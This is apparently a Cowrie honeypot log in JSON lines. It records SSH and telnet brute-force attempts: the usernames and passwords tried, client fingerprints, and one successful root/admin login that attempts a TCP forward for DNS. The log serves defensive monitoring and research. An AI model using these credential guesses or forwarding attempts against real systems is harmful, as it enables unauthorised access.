{"eventid":"cowrie.login.failed","username":"admin","password":"777Angel","message":"login attempt [admin/777Angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:07.471933Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:08.577402Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":47900,"dst_ip":"10.17.0.5","dst_port":22,"session":"213c3b0fa51d","protocol":"ssh","message":"New connection: 201.16.238.49:47900 (10.17.0.5:22) [session: 213c3b0fa51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:15.810010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:15.814172Z","src_ip":"201.16.238.49","session":"213c3b0fa51d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:15.954013Z","src_ip":"201.16.238.49","session":"213c3b0fa51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celery","password":"123","message":"login attempt [celery/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:16.547541Z","src_ip":"201.16.238.49","session":"213c3b0fa51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:17.690639Z","src_ip":"201.16.238.49","session":"213c3b0fa51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52396,"dst_ip":"10.17.0.5","dst_port":22,"session":"da9cea3bf89d","protocol":"ssh","message":"New connection: 195.178.110.218:52396 (10.17.0.5:22) [session: da9cea3bf89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:48.548805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:48.552189Z","src_ip":"195.178.110.218","session":"da9cea3bf89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:48.626898Z","src_ip":"195.178.110.218","session":"da9cea3bf89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:48.850984Z","src_ip":"195.178.110.218","session":"da9cea3bf89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:49.927967Z","src_ip":"195.178.110.218","session":"da9cea3bf89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46774,"dst_ip":"159.203.135.109","dst_port":22,"session":"386e8523741a","protocol":"ssh","message":"New connection: 2.57.122.210:46774 (159.203.135.109:22) [session: 386e8523741a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:56.101781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:56.107470Z","src_ip":"2.57.122.210","session":"386e8523741a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:56.212019Z","src_ip":"2.57.122.210","session":"386e8523741a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"solv","message":"login attempt [sol/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:56.525503Z","src_ip":"2.57.122.210","session":"386e8523741a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:57.631394Z","src_ip":"2.57.122.210","session":"386e8523741a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":50504,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c4b4f695cc","protocol":"ssh","message":"New connection: 130.250.191.201:50504 (10.17.0.5:22) [session: b7c4b4f695cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:03.712506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:03.717500Z","src_ip":"130.250.191.201","session":"b7c4b4f695cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:03.979751Z","src_ip":"130.250.191.201","session":"b7c4b4f695cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"srvadmin","password":"12345","message":"login attempt [srvadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:05.032084Z","src_ip":"130.250.191.201","session":"b7c4b4f695cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:06.330170Z","src_ip":"130.250.191.201","session":"b7c4b4f695cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.59.54.61","src_port":40873,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd90cd65c60","protocol":"telnet","message":"New connection: 41.59.54.61:40873 (10.17.0.5:23) [session: 6dd90cd65c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:08.571267Z"}
{"eventid":"cowrie.session.closed","duration":13.111408948898315,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:21.682525Z","src_ip":"41.59.54.61","session":"6dd90cd65c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":45038,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d55e4bd1052","protocol":"ssh","message":"New connection: 37.77.150.119:45038 (10.17.0.5:22) [session: 4d55e4bd1052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:28.419400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:28.423931Z","src_ip":"37.77.150.119","session":"4d55e4bd1052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:28.560600Z","src_ip":"37.77.150.119","session":"4d55e4bd1052","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:28.967850Z","src_ip":"37.77.150.119","session":"4d55e4bd1052","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:29.106792Z","session":"4d55e4bd1052","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:29.248346Z","src_ip":"37.77.150.119","session":"4d55e4bd1052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:29.387465Z","src_ip":"37.77.150.119","session":"4d55e4bd1052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56906,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a15b7e5fb19","protocol":"ssh","message":"New connection: 193.32.162.145:56906 (10.17.0.5:22) [session: 9a15b7e5fb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:29.690309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:29.694921Z","src_ip":"193.32.162.145","session":"9a15b7e5fb19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:29.802610Z","src_ip":"193.32.162.145","session":"9a15b7e5fb19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:30.128221Z","src_ip":"193.32.162.145","session":"9a15b7e5fb19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:25:31.239670Z","src_ip":"193.32.162.145","session":"9a15b7e5fb19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":58598,"dst_ip":"10.17.0.5","dst_port":22,"session":"c95cf83accb0","protocol":"ssh","message":"New connection: 201.16.238.49:58598 (10.17.0.5:22) [session: c95cf83accb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:26:56.799364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:26:56.808830Z","src_ip":"201.16.238.49","session":"c95cf83accb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:26:56.946136Z","src_ip":"201.16.238.49","session":"c95cf83accb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vadim","password":"Vadim123","message":"login attempt [vadim/Vadim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:26:57.498743Z","src_ip":"201.16.238.49","session":"c95cf83accb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:26:58.642463Z","src_ip":"201.16.238.49","session":"c95cf83accb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49356,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b85e6ef13d6","protocol":"ssh","message":"New connection: 2.57.122.210:49356 (159.203.135.109:22) [session: 9b85e6ef13d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:16.569981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:16.574314Z","src_ip":"2.57.122.210","session":"9b85e6ef13d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:27:16.679951Z","src_ip":"2.57.122.210","session":"9b85e6ef13d6","protocol":"ssh"}
